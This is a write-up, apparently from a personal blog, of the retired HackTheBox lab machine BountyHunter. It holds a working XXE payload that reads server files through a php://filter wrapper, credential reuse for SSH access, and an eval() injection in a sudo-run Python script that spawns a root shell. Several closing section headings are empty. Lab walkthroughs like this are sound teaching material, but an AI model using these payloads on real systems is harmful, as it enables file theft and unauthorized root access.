~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / bountyhunter.md

bountyhunter

Linux · Easy · released 2021-07-24 · retired 2021-11-20

Summary

BountyHunter is a Linux Easy with a clean two-stage chain: XXE injection against a bug-bounty submission form that processes XML, and a sudo-allowed Python script with eval() of attacker-controlled file content. The foothold flow is: XML is base64-encoded before being sent, which slightly obscures the attack surface but changes nothing about XXE exploitability; a PHP filter wrapper (php://filter/convert.base64-encode/resource=…) exfiltrates file contents without character-encoding issues; db.php contains a database password that is reused by the development system account; SSH as development lands the foothold. The privilege escalation is a single sudo rule that permits running a Python 3.8 script that passes a line of a Markdown ticket file directly into eval() — no sanitisation — giving the caller arbitrary code execution as root.

Kill-chain: log_submit.php bounty form POSTs base64-encoded XML → XXE with php://filter wrapper reads /var/www/html/db.php → DB password reused for SSH as developmentsudo /usr/bin/python3.8 /home/development/skytrain_inc/ticketValidator.py → crafted .md ticket with Python expression in ticket-code field → eval() executes __import__('os').system('bash') → root.

Source attribution

Recon

nmap -sC -sV -oN nmap/initial.txt <TARGET>
22/tcp  open  ssh   OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
80/tcp  open  http  Apache httpd 2.4.41 (Ubuntu)

Only SSH and HTTP. Apache 2.4.41 indicates Ubuntu 20.04.

Web enumeration

feroxbuster -u http://<TARGET>/ -x php

Key findings:

/index.php            (200)
/portal.php           (200)
/log_submit.php       (200)  ← bug bounty submission form
/tracker_diRbPr00f314.php (200)  ← POST handler for form data
/db.php               (200)  ← blank response, but readable via XXE

The form at /log_submit.php collects bug report fields (title, CWE, CVSS, reward) and submits them to /tracker_diRbPr00f314.php.

Foothold — XXE injection via base64-encoded XML

Intercept the form submission in Burp. The POST body is:

data=<base64-encoded-XML>

Decoded, the XML structure is:

<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
  <title>Title</title>
  <cwe>CWE</cwe>
  <cvss>9.8</cvss>
  <reward>1000</reward>
</bugreport>

The server processes this XML with a parser that supports external entity declarations. Craft an XXE payload using PHP’s filter wrapper to base64-encode the target file’s content — this avoids issues with XML special characters in the response:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT bar ANY >
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd" >
]>
<bugreport>
  <title>&xxe;</title>
  <cwe>test</cwe>
  <cvss>9.8</cvss>
  <reward>500</reward>
</bugreport>

Base64-encode the entire payload and send it as the data parameter:

python3 -c "import base64; print(base64.b64encode(open('xxe.xml','rb').read()).decode())"
curl -s http://<TARGET>/tracker_diRbPr00f314.php \
    --data-urlencode "data=<base64 payload>"

The response contains the base64-encoded /etc/passwd. Decode it to confirm the development user:

development:x:1000:1000:Development:/home/development:/bin/bash

Now read /var/www/html/db.php the same way:

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/db.php" >

Decoded, db.php contains database credentials. The password in that file is reused for the development system account:

ssh development@<TARGET>
# Password: <from db.php>
development@bountyhunter:~$ id
uid=1000(development) gid=1000(development) groups=1000(development)

user.txt is at /home/development/user.txt.

Privilege escalation — eval() injection in ticketValidator.py

development@bountyhunter:~$ sudo -l
User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /home/development/skytrain_inc/ticketValidator.py

The script reads a .md file path from stdin, then validates it with the following logic (simplified):

# Line 1 must be: # Skytrain Inc
# Line 2 must be: ## Ticket to <destination>
# A line matching **Ticket Code:** is found
# The value after stripping ** is passed to eval():
validationNumber = eval(x.replace("**", ""))

The script validates the file’s Markdown structure but passes the ticket-code field directly to eval() without any sanitisation. Since the .md file is under the attacker’s home directory and world-writable by development, the content is fully attacker-controlled.

Create a malicious ticket file:

cat > /home/development/skytrain_inc/exploit.md << 'EOF'
# Skytrain Inc
## Ticket to Bridgeport
__Ticket Code:__
**32+110+43+ __import__('os').system('bash')**
EOF

The arithmetic expression (32+110+43) satisfies any numeric-value check in the script; the + chains the system() call. eval() evaluates the entire expression as Python, which executes os.system('bash') as root.

Trigger the exploit:

sudo /usr/bin/python3.8 /home/development/skytrain_inc/ticketValidator.py
# Enter the path: /home/development/skytrain_inc/exploit.md
root@bountyhunter:/home/development/skytrain_inc# id
uid=0(root) gid=0(root) groups=0(root)

root.txt is at /root/root.txt.

Why each step worked

Counterfactuals

Key Takeaways

References

← all htb machines hackthebox.com ↗